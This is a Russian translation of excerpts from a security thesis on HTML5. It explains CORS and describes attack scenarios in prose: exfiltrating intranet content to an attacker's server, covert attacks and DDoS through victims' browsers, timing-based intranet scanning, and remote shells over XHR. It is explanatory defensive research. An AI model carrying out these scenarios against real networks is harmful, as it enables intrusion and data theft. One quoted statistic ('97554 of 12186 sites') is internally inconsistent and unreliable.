Безопасность HTML5 [Майкл Шмидт] (fb2) читать онлайн

Безопасность HTML5 – часть первая

_{Данный документ содержит выдержки из магистерской диссертации Майкла Шмидта. Здесь отражены рассмотренные в диссертации аспекты HTML5, касающиеся безопасности.}

 _{Автор: Michael Schmidt (Compas Security)}

Обзор документа

Данный документ содержит выдержки из магистерской диссертации Майкла Шмидта. Здесь отражены рассмотренные в диссертации аспекты HTML5, касающиеся безопасности.

Атаки с помощью HTML5

Необходимо учитывать, что содержимое данного документа было опубликовано в мае 2011 года. Компания Compas Security постоянно обновляет информацию о своих ноу-хау, относящихся к HTML5, и предоставляет дополнительную информацию. Пожалуйста, посетите www.csnc.ch или свяжитесь с нами для получения актуальной версии документа.

Глава 1. Введение.

1.1 История HTML5 и текущая модель Всемирной паутины

На данный момент действующим стандартом HTML (Hypertext Markup Language), установленным W3C (World Wide Web Consortium или Консорциумом Всемирной паутины), является HTML 4.01 [1]. Этот стандарт определяет, как должен использоваться HTML для описания веб-страниц. XHTML 1.0 и XHTML 1.1 обладают в основном той же функциональностью, что и HTML 4.01, за исключением нескольких ограничений и расширений HTML. Однако, эти два стандарта основаны на XML (Extensible Markup Language), а не на SGML (Standard Generalized Markup Language) [2].

HTML5 (HTML версии 5) является потомком HTML 4.01, XHTML 1.0 и XHTML 1.1. Производители браузеров: Apple Computer, Inc., Mozilla Foundation и Opera Software ASA основали сообщество WHATWG (Web Hypertext Application Technology Working Group или Рабочую группу по развитию технологии гипертекстовых веб-приложений) в 2004 году с намерением развивать и расширять новые веб-технологии сперва под знаком Web Application 1.0, а позднее под именем HTML5. Одна из основных причин создания WHATWG заключалась в том, что среди производителей барузеров росло беспокойство по поводу предложенной W3C концепции XHTML2. W3C в это время разрабатывало стандарт XHTML2, но прекратило над ним работу в 2009 для ускорения разработки HTML5 [6]. С этого момента и W3C, и WHATWG работают над HTML5, но поддерживают свои версии спецификаций, которые немного отличаются в некоторых вопросах. Однако, главный автор, Ян Хиксон, работает над версией WHATWG. Поскольку разработка HTML5 определяется в основном WHATWG, некоторые критикуют HTML5 за то, что он испытывает слишком большое влияние со стороны производителей браузеров и слишком малое со стороны пользователей Всемирной паутины [8]. Это может отразиться на безопасности, что и показывает данный документ.

HTML5 по версии WHATWG имеет статус "Living Standard" [9], а по версии W3C - "Working Draft" (Рабочий проект) [3]. Несколько производителей браузеров уже реализовали множество возможностей HTML5. Статус кандидата в рекомендации планируется к 2012, а статус официальной рекомендации к 2022 [5]. Для тестирования поддержки браузером тех или иных возможностей HTML5 существуют веб-сайты вроде [10]. Тем не менее, в октябре 2010 года W3C официально заявил, что HTML5 еще не готов для использования в современных веб-приложениях из-за проблем с возможностями взаимодействия [11]. По этой причине положения, дающиеся в данном документе, могут измениться, то есть необходимо внимательно рассматривать контекст, в котором описаны атаки и средства противодействия им. Изменения в спецификации HTML5 могут как смягчить описанные атаки, так и породить новые уязвимости.

HTML5 предоставляет новые возможности веб-приложениям, но также рождает новые проблемы безопасности. Один из известных примеров некорректного использования HTML5 – вечные куки [12], которые открыто обсуждались в новостях безопасности [13]. С помощью этих вечных куки и нескольких технологий можно попытаться скоррелировать пользовательские сессии. Кроме того, новые технологии HTML5 вроде Web Storage используются для хранения уникальных идентификаторов в браузере на стороне клиента. При обсуждении реализации веб-приложений на основе HTML5 нужно учитывать эти проблемы безопасности, равно как и новые возможности.

На рисунке 1 показана высокоуровневая модель Всемирной паутины, на которой основана вторая глава. Рамка обозначает поставщика веб-приложений, который состоит из веб-сервера, обслуживающего по крайней мере один сайт и хранящего данные в базе. Сайт в ответ на запросы предоставляет ресурсы клиентам через Интернет.

Рисунок 1. Стандартная модель Всемирной паутины

Вот более детальное описание показанных на рисунке сущностей:

Ресурсы: Ресурсы – любые сетевые данные или сервисы, доступные через Интернет. Их местоположение определяется через URI (унифицированный идентификатор ресурса) [14]. Примерами ресурсов являются веб-страницы, содержащие HTML/CSS и JavaScript код, а также ссылки на дополнительные ресурсы вроде рисунков и видео.

Пользовательский агент (ПА, User-Agent, UA): ПА – это потребитель веб-приложений, который запрашивает ресурсы у поставщика веб-приложений. Ресурсы обрабатываются ПА, рендерятся и отображаются для конечного пользователя. ПА имеет возможность установления HTTP (Hypertext Transfer Protocol) соединений с веб-серверами для корректного рендеринга html/css и выполнения JavaScript. Более того, в ПА реализованы стандарты HTML 4.01 и HTML 5 и соответствующие возможности вроде Geolocation API (раздел 2.8) или Web Storage (раздел 2.3).

Веб-приложение – общий термин, обозначающий поставщика веб-ресурсов, который состоит из трех главных частей:

Веб-сайт. Веб-сайт состоит из нескольких отдельных веб-ресурсов и доступен по своему URI.

Веб-сервер. Веб-сервер предоставляет хостинг для по меньшей мере одного веб-сайта. HTTP(S)-соединение устанавливается между ПА и веб-сервером. Помимо хостинга сайтов, веб-сервер также предоставляет дополнительные ресурсы. Другие соединения, вроде Web Socket API (раздел 2.7), также устанавливаются между ПА и веб-сервером.

База данных. Базы данных хранят любые данные, необходимые для веб-приложений, например, персональную информацию о пользователях.

Интернет. ПА получает доступ к веб-приложениям через Интернет. ПА может соединяться с любым веб-приложением и не ограничен в целях. Веб-приложения, в свою очередь, доступны из любой точки Интернета. На Рисунке 1 представлена глобальная модель, рассматриваемая в главе 2. Однако, конкретные модели, используемые в дальнейших разделах, могут немного отличаться в зависимости от описываемого сценария. Например, один из сценариев описывает Интранет-приложение, доступ к которому возможен только в пределах внутренней корпоративной сети. Эти изменения будут указаны явно в соответствующих разделах.

1.2 Мотивация

С тех пор, как Джон фон Нейман опубликовал свою теорию самовоспроизводящихся программ в 1949, атаки на компьютерные системы эволюционировали, как и атаки на веб-приложения. Одной из первых описанных крупных атак на веб-приложения была DDoS-атака (distributed Denial-Of-Service) на Yahoo, eBay, Amazon, и несколько других веб-сайтов в 2000 [16].

Веб-сервера являются постоянными целями для атак. Они, как правило, доступны 24 часа 7 дней в неделю и 365 дней в году. Это делает возможными хорошо спланированные ручные и автоматизированные атаки на веб-сервера. Консорциум безопасности веб-приложений провел в 2008 году исследование, которое показало, что 97554 из 12186 протестированных веб-сайтов (87.5%) имеет уязвимости [17]. Компания WhiteHat Security протестировала около 2.000 сайтов в своем исследовании, которое выявило, что средний сайт имеет 13 уязвимостей [18]. Компания Verizon в отчете за 2010 год по исследованию «Data Breach Investigations» пишет, что за 6 лет было выявлено более 900 инцидентов в ходе которых было скомпрометировано более 900 миллионов записей (по данным, предоставленным Секретной Службой США) [19].

Конечные пользователи также являются целью многих атак. Лаборатория Касперского в своем бюллетене безопасности за 2010 год сообщает, что число drive-by атак исчисляется десятками миллионов и что на пользователей сети Kaspersky Security Network было проведено 73,619,767 атак. Secunia пишет, что в приложениях третьих фирм было обнаружено гораздо больше уязвимостей, чем в программах Microsoft [21]. Эта закономерность особенно интересна в контексте веб-браузеров: количество найденных уязвимостей в Internet Explorer равно 51 [22], когда для Mozilla Firefox оно составляет 95 [23] (но необходимо учитывать, что не все уязвимости одинаково критичные). Symantec пишет в своем ежегодном отчете за 2010 год, что было зарегистрировано 339.600 различных штаммов вредоносного ПО, найденных в электронных письмах, заблокировано более 188.6 миллионов фишинговых писем и обнаружено 42.926 различных доменов с вредоносным контентом, причем 90% из них являются легитимными, но скомпрометированными сайтами [24]. Всего Лаборатория Касперского зафиксировала 327.598.028 атак на компьютеры пользователей только в первом квартале 2010 года [25].

Как видно, существует множество атак на веб-приложения (судя по 2010 году), и необходимость обеспечения безопасности в Интернет растет. Помимо удобств, предоставляемых Всемирной паутиной, критичными моментами, нуждающимися в рассмотрении, являются вопросы безопасности. Это справедливо как для нынешних, так и для будущих веб-приложений. Угрозы для веб-приложений, описанные в данном разделе, необходимо иметь в виду при рассмотрении проблем безопасности HTML5.

Глава 2. Проблемы безопасности HTML5.

HTML5 вносит в HTML несколько технологических изменений. В данной главе технически изложены последствия для безопасности, которые повлекут за собой эти изменения.

2.1 Введение

В процессе создания спецификации HTML5 соображения, связанные с безопасностью, фиксировались с самого начала. Каждая часть спецификации имеет свой подраздел, касающийся безопасности. Эти подразделы покрывают моменты, которые нужно хорошенько продумать при реализации соответствующих частей. В подразделах описываются уязвимости, которые могут возникнуть при реализации соответствующей возможности, а также безопасный способ ее реализации производителями браузеров. Например, авторы спецификации HTML5 выделили уязвимость под названием Information leakage (Утечка информации) для элемента canvas, которая возникает, если скрипты могут получать доступ к информации из разных источников. Далее в спецификации дается тщательное описание того, как избежать этой уязвимости в безопасной реализации (соответствующая выдержка из спецификации canvas для HTML5 находится в разделе 5.5.1 данного документа).

Помимо инструкций по безопасной реализации функционала, стандарт HTML5 содержит инновационные возможности, позволяющие решать существующие проблемы безопасности HTML:

Web Messaging: делает возможным безопасное общение между элементами с различных доменов и снимает необходимость в небезопасных хаках (см. раздел 2.5).

Inline Frame (Iframe) Sandboxing (Песочница для Iframe): Встроенные элементы Iframe теперь могут быть ограничены в возможностях. Можно, например, запретить запускать JavaScript [26] (см. раздел 2.9.3).

Вот еще пара примеров решения существующих проблем веб-приложений:

Сокрытие реферера: Добавление в ссылку атрибута rel со значением noreferrer предотвращает утечку информации через поле запроса referrer при переходе по ссылке. Это особенно полезно в почтовых веб-приложениях (POC приложение есть в разделе 5.2.11).

Безопасный контент-снифинг: Процедура определения типа ресурса теперь определена строго, что смягчает атаки на алгоритм контент-снифинга, т. е. автоматического определения типа контента (описано в [27]). Выдержки из спецификации HTML5, которые описывают правила определения типа контента, приведены в разделе 5.5.2.

Оставшуюся часть главы не следует воспринимать как доказательство того, что HTML5 совершенно небезопасен. Безопасность является важной частью спецификации HTML5. Тем не менее, введение нового функционала также расширяет возможности запуска новых атак, а даже безопасные возможности могут быть использованы некорректно. Следовательно, эволюция текущих веб-стандартов на пути к HTML5, добавляя новые возможности, порождает новые угрозы и уязвимости. Новые возможности HTML5 открывают инновационные пути для злоумышленников. Эти новые уязвимости, угрозы и векторы атак рассматриваются в данной главе. В итоге здесь дается представление о возможностях HTML5, открывающих новые угрозы и уязвимости, и подчеркиваются проблемные моменты.

Следующий список дает представление о возможностях HTML5, обсуждаемых в данной главе. Каждая возможность, описанная в этом списке, будет проанализирована более детально в своем подразделе. Таким образом, сначала дается представление о возможности, а затем описываются уязвимости и угрозы, возможные сценарии атаки и (если существуют) меры противодействия им. В главе рассматриваются следующие возможности HTML5:

Cross-Origin Resource Sharing (CORS, Междоменное разделение ресурсов)[28]: CORS позволяет клиентам делать междоменные запросы через XMLHttpRequest. В HTML5 ослаблена политика ограничения домена, которая изолирует документы с различных доменов друг от друга [29]. При определенных условиях в HTML5 возможно запрашивать ресурсы с других доменов и делиться с ними информацией.

Web Storage (Веб-хранилище) [30]: С помощью технологии Web Storage веб-приложения могут обходить ограничения количества хранимой на стороне клиента информации. Используя Web Storage, веб-приложения могут хранить около пяти мегабайт данных на стороне клиента и получать к ним доступ через JavaScript в ходе последующих сессий.

Offline Web Application (Оффлайновые веб-приложения) [31]: Используя эту технологию HTML5, веб-приложения могут работать в оффлайн-режиме. Сначала, в онлайн-режиме, веб-приложение посылает ПА инструкции, в результате которых необходимая информация сохраняется в оффлайновом кэше веб-приложения. Впоследствии приложение можно использовать в оффлайн-режиме, не нуждаясь в Интернет-соединении.

Web Messaging [32]: Iframe-ы одного веб-приложения, соответствующие разным доменам, могут общаться друг с другом через HTML5 Web Messaging. При разработке Iframe можно заложить возможность принимать сообщения от других Iframe-ов.

Custom scheme and content handlers (Специальные обработчики схемы и контента) [3]: HTML5 позволяет веб-приложениям регистрироваться в качестве обработчиков URI-схем и типов контента. Например, веб-приложение может зарегистрироваться как обработчик почтовых ссылок (mailto): на какую бы ссылку типа mailto на каком бы домене не нажал пользователь, он будет перенаправлен на зарегистрированное веб-приложение.

Web Sockets API [33]: Этот прикладной программный интерфейс HTML5 предоставляет способ установления полнодуплексного канала между сервером и ПА. Через этот канал возможен асинхронный обмен данными. Приемы AJAX (Asynchronous JavaScript and XML) больше необязательны для установления асинхронного соединения.

Geolocation API [34]: Используя Geolocation API, веб-приложения могут определять местоположение пользователя. Это позволяет веб-приложениям предоставлять своим потребителям услуги в зависимости от их местоположения. Эта возможность особенно интересна для мобильных пользователей.

Неявные особенности HTML5, касающиеся безопасности: В данном подразделе будут описаны некоторые особенности HTML5, которые не являются прямыми источниками новых уязвимостей, но могут быть использованы опосредованно для запуска атак. В подразделе раскрываются эти особенности, а также объясняется их связь с другими уязвимостями.

На рисунке 2 показана высокоуровневая диаграмма, дающая представление о возможностях HTML5 и о том, как они соотносятся друг с другом в контексте веб-браузера. DomainA.csnc.ch представляет домен загруженного веб-сайта, в который встроены три Iframe с различными источниками. Iframe, загруженный из untrusted.csnc.ch, запускается в песочнице и не имеет разрешений на запуск JavaScript. Iframe-ы, загруженные из anydomainA.csnc.ch и anydomainB.csnc.ch, общаются между собой посредством Web Messaging. Специальные обработчики схемы и контента зарегистрированы приложением с домена domainB.csnc.ch, к которому происходит обращение, когда пользователь запрашивает подходящий тип ресурса. С домена domainC.csnc.ch загружаются дополнительные ресурсы через CORS. Geolcation API, Offline Web Application, Web Storage и Web Workers представляют возможности HTML5 на стороне клиента (реализованы в ПА), которые могут использоваться веб-сайтами. В данном примере подразумевается, что anydomainB.csnc.ch использует все эти возможности.

Рисунок 2. Обзор технологий HTML5

Список уязвимостей и атак из данной главы не является всеобъемлющим. Он не покрывает все возможные уязвимости, угрозы и атаки, характерные для HTML5. По мнению автора, список ограничивается наиболее важными и критичными пунктами. Для большинства атак разработаны приложения, демонстрирующие возможность их проведения (так называемые Proof-Of-Concept или POC-приложения). Эти приложения собраны в главе 5 и имеют ссылки в соответствующих разделах. Некоторые атаки продемонстрированы сторонними приложениями, ссылки на которые также приведены в соответствующих разделах.

Список источников:

[1] World Wide Web Consortium (W3C). (1999, Dec.) HTML 4.01 Specification, W3C Recommendation . [Online]. http://www.w3.org/TR/1999/REC-html401-19991224/

[2] The World Wide Web Consortium (W3C) . (2000, Jan.) XHTML 1.0 The Extensible HyperText Markup Language (Second Edition). [Online]. http://www.w3.org/TR/xhtml1/

[3] The World Wide Web Consortium (W3C). (2011, Jan.) HTML5 - A vocabulary and associated APIs for HTML and XHTML. [Online]. http://www.w3.org/TR/html5/

[4] M. Pilgrim, HTML5: Up and Running. Sebastopol: O’Reilly Media, 2010.

[5] Web Hypertext Application Technology Working Group (WHATWG). (2011, Jan.) FAQ - What is the WHATWG?. [Online]. http://wiki.whatwg.org/wiki/FAQ

[6] World Wide Web Consortium (W3C). (2009, Jul.) XHTML 2 Working Group Expected to Stop Work End of 2009, W3C to Increase Resources on HTML 5. [Online]. http://www.w3.org/News/2009#entry-6601

[7] M. Schäfer. (2010, Dec.) Übersicht über HTML5-Spezifikationen und -Literatur. [Online]. http://molily.de/weblog/html5-specs

[8] P. Kröner, HTML5 Webseiten innovativ und zukunftssicher. München: Open Source Press, 2010. [9] Web Hypertext Application Technology Working Group (WHATWG). (2011, Feb.) HTML - Living Standard. [Online]. http://www.whatwg.org/specs/web-apps/current-work/multipage/

[10] N. Leenheer. (2010, Jun.) THE HTML5 TEST – HOW WELL DOES YOUR BROWSER SUPPORT HTML5?. [Online]. http://html5test.com/

[11] P. Krill and P. L. Hegaret. (2010, Oct.) W3C: Hold off on deploying HTML5 in websites. [Online]. http://www.infoworld.com/d/developer-world/w3c-hold-html5-in-websites-041

[12] S. Kamkar. (2010, Oct.) Evercookie - virtually irrevocable persistent cookies. [Online]. http://samy.pl/evercookie/

[13] J. Bager. (2010, Sep.) Das Zombie-Cookie, Heise Security. [Online]. http://www.heise.de/security/meldung/Das-Zombie-Cookie-1094770.html

[14] Internet Engineering Task Force - The Internet Society. (2005) Uniform Resource Identifier (URI): Generic Syntax. [Online]. http://tools.ietf.org/html/rfc3986

[15] Internet Engineering Task Force - The Internet Society. (1999) Hypertext Transfer Protocol -- HTTP/1.1. [Online]. http://www.ietf.org/rfc/rfc2616.txt

[16] Staff Writer, The Washington Post. (2003, Feb.) A Short History of Computer Viruses and Attacks, newspaper article. [Online]. http://www.washingtonpost.com/ac2/wp-dyn/A50636-2002Jun26

[17] The Web Application Security Consortium. (2008) Web Application Security Statistics. [Online]. http://projects.webappsec.org/w/page/13246989/Web-Application-Security-Statistics

[18] WhiteHat Security, Inc.. (2010) WhiteHat Website Security Statistic Report, 10th Edition – Industry Benchmarks. [Online]. http://img.en25.com/Web/WhiteHatSecurityInc/WPstats_fall10_10th.pdf

[19] W. Baker, et al., "2010 Data Breach Investigations Report," Verizon RISK Team and the United States Secret Service, Report, 2010.

[20] Kaspersky Lab. (2010, Feb.) Kaspersky Security Bulletin 2009. Statistics, 2009. [Online]. http://www.securelist.com/en/analysis/204792101/Kaspersky_Security_Bulletin_ 2009_Statistics_2009#1

[21] S. Frei. (2010) AN ALARMING TREND FOR END-USER SECURITY. [Online]. http://secunia.com/gfx/pdf/Secunia_eCrime_2010.pdf

[22] Secunia. (2010, Dec.) 2010/Q4 Security Factsheet for Internet Explorer. [Online]. http://secunia.com/factsheets/IE-2010Q4.pdf

[23] Secunia. (2010, Dec.) 2010/Q4 Security Factsheet for Firefox. [Online]. http://secunia.com/factsheets/Firefox-2010Q4.pdf

[24] Symantec MessageLabs Intelligence. (2010, Dec.) MessageLabs Intelligence: 2010 Annual Security Report. [Online]. http://www.messagelabs.com/mlireport/MessageLabsIntelligence_2010_ Annual_Report_FINAL.pdf

[25] Yury Namestnikov, Kaspersky Lab. (2010, Jun.) Information Security Threats in the First Quarter of 2010. [Online]. http://www.securelist.com/en/analysis/204792120/Information_Security_Threats _in_the_First_ Quarter_of_2010

[26] D. Crockford. (2001) JavaScript - The World's Most Misunderstood Programming Language. [Online]. http://javascript.crockford.com/javascript.html

[27] A. Barth, J. Caballero, and D. Song. (2009) Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves. [Online]. http://www.adambarth.com/papers/2009/barth-caballero- song.pdf

[28] The World Wide Web Consortium (W3C). (2010, Jul.) Cross-Origin Resource Sharing. [Online]. http://www.w3.org/TR/cors/

[29] The World Wide Web Consortium (W3C). (2010, Jan.) Same-Origin Policy. [Online]. http://www.w3.org/Security/wiki/Same_Origin_Policy

[30] The World Wide Web Consortium (W3C). (2009, Dec.) Web Storage. [Online]. http://www.w3.org/TR/webstorage/

[31] The World Wide Web Consortium (W3C). (2008, May) Offline Web Applications. [Online]. http://www.w3.org/TR/offline-webapps/

[32] The World Wide Web Consortium (W3C). (2010, Nov.) HTML5 Web Messaging. [Online]. http://www.w3.org/TR/webmessaging/

[33] The World Wide Web Consortium (W3C). (2009, Dec.) The Web Sockets API. [Online]. http://www.w3.org/TR/websockets/

[34] The World Wide Web Consortium (W3C). (2010, Sep.) Geolocation API Specification. [Online]. http://www.w3.org/TR/geolocation-API/

[35] Attack and Defense Labs. (2010, Dec.) HTML5 Security - Web SQL / Cross Origin Requests. [Online]. http://www.andlabs.org/html5.html

Безопасность HTML5 – часть вторая

_{Данный документ содержит выдержки из магистерской диссертации Майкла Шмидта. Здесь отражены рассмотренные в диссертации аспекты HTML5, касающиеся безопасности.}

  _{Автор: Michael Schmidt (Compas Security)}

2.2 Cross-Origin Resource Sharing

До HTML5 сайты могли заставлять ПА делать XMLHttpRequest-запросы лишь в пределах их собственного домена (из-за политики ограничения домена). Поэтому получать доступ к ресурсам вроде обновлений для частей веб-страницы было возможно только в пределах исходного домена, что ограничивало веб-разработчиков. Это представляло особенную проблему для веб-приложений, которые состоят из нескольких частей, отображающих данные с различных доменов. Загрузка и обновление этих данных были возможны лишь через исходный домен, так что XMLHttpRequest-запросы приходилось присылать на исходный сервер. Этот сервер должен был обрабатывать запрос, загружать данные с других доменов и передавать их назад, браузеру. Такая маршрутизация (называемая также Server-Side Proxying, т. е. Проксирование на стороне сервера) приводила к высокой нагрузке на сервера, а также усложняла и замедляла обновление страниц или их частей.

Атаки с помощью HTML5

С приходом HTML5 ситуация изменилась. HTML5 позволяет посылать XMLHttpRequest-запросы между доменами, если определен HTTP-заголовок "Access-Control-Allow-Origin". При некотором значении этого заголовка, XMLHttpRequest-запрос, посланный Java-скриптом с одного домена, может получить доступ к сайту на другом домене. Веб-приложение, состоящее из множества частей, находящихся на различных доменах, может также посылать XMLHttpRequest-запросы другим доменам, чтобы обновлять данные в браузере. Это снижает трафик между веб-серверами и упрощает реализацию.

Решение о том, может ли JavaScript в ходе XMLHttpRequest-запроса получить данные не от исходного домена, принимается ПА. То есть, ПА сначала делает запрос к другому домену, а затем осуществляет контроль доступа на основе заголовка Access-Control-Allow-Origin. Этот заголовок определяет, может ли JavaScript получить доступ к ответу на запрос или нет. Таким образом, веб-сервер определяет этим заголовком, каким доменам разрешен доступ к его домену путем междоменных запросов. Если данный заголовок не содержит запрашивающий домен или вовсе не определен, браузер не даст JavaScript получить ответ на запрос. Следующий пример перехваченного сетевого трафика показывает HTTP-ответ сервера из внешнего домена external.csnc.ch с установленным заголовком контроля доступа.

HTTP/1.1 200 OK

Content-Type: text/html

Access-Control-Allow-Origin: http://internal.csnc.ch

Данный фрагмент показывает, что заголовок Access-Control-Allow-Origin имеет значение internal.csnc.ch. Это означает, что лишь сайты с домена internal.csnc.ch имеют право доступа к external.csnc.ch через XMLHttpRequest.

В предыдущих параграфах было дано верное, но сокращенное описание Междоменного Разделения Ресурсов (CORS). На самом деле, в CORS существует больше деталей и посылается больше сообщений при определенных обстоятельствах, например, предварительный (preflight) запрос/ответ. Раздел 5.3.1 описывает шаги обработки CORS более подробно. Кроме того, в разделе 5.2.1 можно найти демонстрационное приложение, которое иллюстрирует междоменный запрос (Cross-Origin Request, COR), а также соответствующий дамп сетевого трафика. Это демонстрационное приложение можно использовать для загрузки произвольного URI через XMLHttpRequest и отображения результата на веб-странице (если целевой сайт посылает в ответе должным образом определенный заголовок Access-Control-Allow-Origin).

2.2.1 Уязвимости

Вместе с появлением этой новой возможности HTML5 возникают и новые уязвимости. Фундаментальная проблема безопасности заключается в том, что междоменные XMLHttpRequest-запросы можно посылать, не спрашивая разрешения у пользователя. На самом деле запросы посылаются даже без уведомления пользователя. Это можно использовать для нарушения требования безопасности "Контроль доступа" через злоупотребление пользовательской сессией. Это означает, что данные запросы делаются от лица жертвы, которая может оказаться аутентифицированным пользователем. Происходит злоупотребление пользовательской сессией, что нарушает требование безопасности "Безопасное управление сессиями".

Вслед за "Контролем доступа" нарушается следующее требование безопасности, "Конфиденциальность". Это делается либо прямым доступом к ресурсам через обход "Контроля доступа", либо косвенно, если доступ к конфиденциальным данным получается путем злоупотребления пользовательскими сессиями для сбора информации о жертве.

Другая проблема, связанная с CORS, заключается в том, что источник данных больше не ограничен сервером сайта. Браузер может загружать данные из других источников, которые не могут быть проверены исходным доменом и должны считаться недоверенными. Таким образом, данные, полученные через CORS, должны проверяться на стороне клиента. Эта проблема (требование безопасности «Проверка данных») связана также с технологиями Web Socket API (см. раздел 2.7) и Web Messaging (раздел 2.5) и поэтому рассматривается лишь однажды, в разделе 2.5.1.

2.2.2 Угрозы и сценарии атак

В этом подразделе приводятся некоторые сценарии эксплуатации злоумышленником проблем безопасности, описанных в разделе 2.2.1. Сценарии атак для следующих четырех угроз будут даны в параграфах 2.2.2.1-2.2.2.4 для демонстрации эффекта этих угроз. Идеи сценариев атак взяты из [35]. В следующем списке перечислены как угрозы, так и нарушаемые ими требования безопасности:

Обход Контроля Доступа (сценарий 1): доступ из Интернет к внутренним сайтам возможен, если внутренний сайт неправильно установил заголовок Access-Control-Allow-Origin или делает решения, касающиеся контроля доступа, основываясь на неверных предположениях. Похожая угроза, известная как Cross-Site-Request-Forgery или CSRF (Подделка Межсайтовых Запросов), уже существует в HTML 4.01, но с помощью CORS может осуществляться без участия пользователя. Это нарушает требование безопасности "Контроль доступа".

Удаленная атака веб-сервера (Сценарий 2): Междоменные запросы также можно использовать для атаки другого веб-сервера через ПА любого пользователя, посетившего вредоносный сайт (это можно было сделать и средствами HTML4, но отправка управляемых POST-запросов стала проще и не ограничивается теперь типом содержимого text/plain). Это нарушает требование безопасности "Безопасное управление сессиями", поскольку атакующий может злонамеренно использовать пользовательские сессии.

Сбор информации (сценарий 3): можно осуществить поиск существующих доменных имен во внутренней сети на основе времени ответа на XMLHttpRequest-запросы. Это нарушает требование безопасности "Конфиденциальность", поскольку информация для внутреннего пользования попадает к злоумышленнику.

Запуск удаленного шелла (сценарий 4): можно злоупотреблять XMLHttpRequest-запросами для запуска удаленного шелла к ПА и управления поведением ПА через этот шелл. Это нарушает требование безопасности "Безопасное управление сессиями".

Раскрытие конфиденциальных данных: хотя JavaScript может получить доступ к результам запроса только при наличии в ответе должным образом определенного заголовка, запрос всегда посылается на чужой домен. Это можно использовать для отсылки конфиденциальных данных на сервер атакующего. Хотя это можно осуществить и другими путями, CORS предоставляет новый гибкий способ и, таким образом, раскрытие конфиденциальных данных является неявной угрозой, связанной с CORS и нарушающей требование безопасности "Конфиденциальность".

Ботнет на базе Web: через CORS и другие возможности HTML5 возможно создание веб-ботнета. Эта угроза описана лишь однажды в разделе 2.7.2, поскольку все ее варианты различаются лишь технологией, используемой для установления ботнета.

DDoS-атаки посредством CORS и Web Workers: комбинируя CORS и Web Workers можно осуществить DDoS-атаку. Web Workers и детали этого сценария атаки описаны в разделе 2.9.1.

2.2.2.1 Сценарий 1 – получение доступа к внутренним сайтам

В данном сценарии предполагается, что внутренний сайт доступен лишь из Интранет (корпоративной сети). Доступ к сайту из Интернет блокируется файрволом. Поскольку этот Интранет-сайт предоставляет сервисы нескольким внутренним приложениям, разработчик решил установить значение заголовка Access-Control-Allow-Origin, равное *, чтобы сделать его доступным для всех Интранет-приложений. Это было сделано, поскольку предполагалось, что сайт доступен только из Интранет. Соответствующая топология сети показана в виде высокоуровневой диаграммы в разделе 5.1.2. Эта диаграмма показывает вовлеченные сетевые устройства и периметр безопасности, а также положение атакующего и жертвы.

Для доступа к внутреннему сайту из Интернет, атакующий создает свой сайт с вредоносным JavaScript-кодом и обманом заставляет сотрудника соответствующей компании зайти на этот вредоносный сайт из Интранет. Как только сотрудник открывает вредоносный сайт, JavaScript-код делает XMLHttpRequest-запрос к корпоративному сайту. Ответ посылается обратно на сайт, контролируемый атакующим. Итак, атакующий способен получать доступ к корпоративным приложениям из Интернет посредством XMLHttpRequest-запросов. Для осуществления данной атаки нужно знать URI внутреннего сайта или попытаться определить его, используя техники, описанные в разделе 2.2.2.3. Рисунок 3 иллюстрирует данную атаку в виде диаграммы последовательности.

Рисунок 3. Диаграмма последовательности: доступ к Интранет-приложениям через CORS

Внутренний пользователь делает запрос к Интранет-сайту через свой ПА (опциональный шаг)

Корпоративный веб-сервер возвращает контент с HTTP-заголовком Access-Control-Allow-Origin, имеющим значение * (опциональный шаг)

Пользователь через Интернет заходит на сайт, контролируемый атакующим

Этот сайт содержит содержит скрытый вредоносный JavaScript-код, который передается внутреннему пользователю с прочим контентом, не вызывающим подозрений

Данный JavaScript-код выполняется ПА в фоне

Делается XMLHttpRequest-запрос к корпоративному сайту и, поскольку Access-Control-Allow- Origin имеет значение *, JavaScript получает доступ к содержимому ответа

JavaScript разбирает результат

Содержимое корпоративного сайта посылается на веб-сервер атакующего

Небольшая вариация атаки имеет место в случае, когда сайт выглядит по-разному при доступе из Интранет и Интернет. Тогда в результате атаки Интранет-контент можно получать из Интернет.

2.2.2.2 Сценарий 2 – скрытая атака веб-сервера

Этот сценарий описывает то, как междоменные запросы можно использовать для злоупотребления ПА жертвы и запуска атак на веб-сервер. Атакующий создает вредоносный сайт или каким-либо образом размещает вредоносный контент на популярном сайте и обманом заставляет пользователя посетить этот сайт. При этом, помимо обычного контента, ПА получает скрытый JavaScript. После загрузки JavaScript-код посылает XMLHttpRequest-запросы и атакует другой сайт. Логи атакуемого веб-сервера покажут, что атаку запустил пользователь, зашедший на вредоносный сайт, что, разумеется, неверно. В разделе 5.1.4 размещена высокоуровневая диаграмма, которая показывает предполагаемую для этой атаки топологию. Если сайт атакующего откроет много пользователей сразу, против атакуемого сайта можно запустить DDoS-атаку. Даже если заголовок Access-Control-Allow-Origin не определен, запросы будут посылаться на веб-сервер и обрабатываться.

Рисунок 4. Диаграмма последовательности: удаленная атака посредством CORS

Пользователь заходит на вредоносный сайт с заготовленным атакующим JavaScript-кодом.

Этот сайт возвращает вредоносный JavaScript-код.

Вредоносный JavaScript-код посылает XMLHttpRequest-запросы на цель атаки и, если нужно, отбрасывает ответы.

Все дальнейшие запросы похожи на шаг 3. Вредоносный JavaScript-код посылает XMLHttpRequest-запросы с полезной нагрузкой (payload), которая может отличаться для разных запросов, до тех пор, пока атака не завершится.

DDoS-атаки возможны и средствами HTML4. Однако, HTML5 делает эти атаки гораздо более эффективными. Запросы с использованием XMLHttpRequest по сравнению со стандартными GET-запросами могут посылаться быстрее [36] (более подробно DDoS-атака через комбинацию CORS и Web Workers описана в разделе 2.9.1).

Сценарий 3 – сканирование Интранет на основе времени отклика на запрос

Междоменные запросы можно использовать для определения существования того или иного внутреннего доменного имени, даже если заголовок Access-Control-Allow-Origin не определен или ограничен конкретными доменами. Это можно осуществить, посылая XMLHttpRequest-запрос на произвольные доменные имена и заключая по времени отклика факт наличия или отсутствия домена.

Данная атака демонстрируется POC-приложением, которое описано более подробно в разделе 5.2.2. Это приложение позволяет посылать произвольные запросы на URI с помощью XMLHttpRequest и отображать время отклика. В зависимости от времени отклика можно сделать некоторые выводы. Запрос, посылаемый на URI, имеет различное время отклика в трех разных случаях:

домен не существует

домен существует но не существует путь в пределах существующего домена (возвращается ошибка с кодом 404)

домен и путь существуют, но доступ запрещен на основе заголовка Access-Control-Allow-Origin.

Таблица 1 резюмирует это поведение и показывает, какая дополнительная информация может быть получена из этих трех различных состояний (время отклика в ходе POC-тестов указано в скобках из-за возможных погрешностей):

Error reason (≈ response time in ms)
